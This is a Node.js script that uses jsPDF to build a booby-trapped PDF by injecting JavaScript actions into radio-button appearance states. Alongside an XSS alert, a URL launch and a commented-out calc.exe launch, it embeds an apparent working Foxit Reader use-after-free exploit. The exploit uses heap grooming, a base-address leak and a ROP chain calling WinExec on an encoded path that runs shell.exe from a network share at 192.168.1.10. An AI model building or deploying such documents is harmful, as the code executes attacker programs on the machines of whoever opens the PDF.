const { jsPDF } = require("jspdf")
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
// group.defaultValue = "opt1";
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;child.value = "opt1";
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS ( app.alert('XSS')) >> >>";



const child2 = group.createOption("opt2");
child2.x = 40; child2.y = 10; child2.width = 10; child2.height = 10;child2.value = "opt2";  
child2.appearanceState = "Off /AA << /E << /S /JavaScript /JS ( app.launchURL(\"https://github.com/dajneem23\", true); ) >> >>";

// child2.appearanceState = `
// /Type /Action
// /S /Launch
// /Win
// <<
// /F (calc.exe)
// >>
// `



const child3 = group.createOption("opt3");
child3.x = 60; child3.y = 10; child3.width = 30; child3.height = 10;child3.value = "opt3";
child3.appearanceState = `Off /AA << /E << /S /JavaScript /JS (
var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        
        //Path to executable

	rop[0x0c] = 0x39315c5c;
	rop[0x0d] = 0x36312e32;
	rop[0x0e] = 0x2e312e38;
	rop[0x0f] = 0x735c3031;
	rop[0x10] = 0x65726168;
	rop[0x11] = 0x6568735c;
	rop[0x12] = 0x652e6c6c;
	rop[0x13] = 0x00006578;
	rop[0x14] = 0x00000000;
	rop[0x15] = 0x00000000;
	rop[0x16] = 0x00000000;
        
        //End Path to executable

        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}
// app.alert(app.isFoxit)
if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
            main();
    }
}

if (app.platform == "MAC"){
    // if (app.isFoxit == "Foxit PDF Reader for Mac"){
            app.alert("This PoC is not tested on Mac, but it is likely vulnerable as well. Please test and confirm.");
    // }
}
) >> >>`;

doc.save("test.pdf");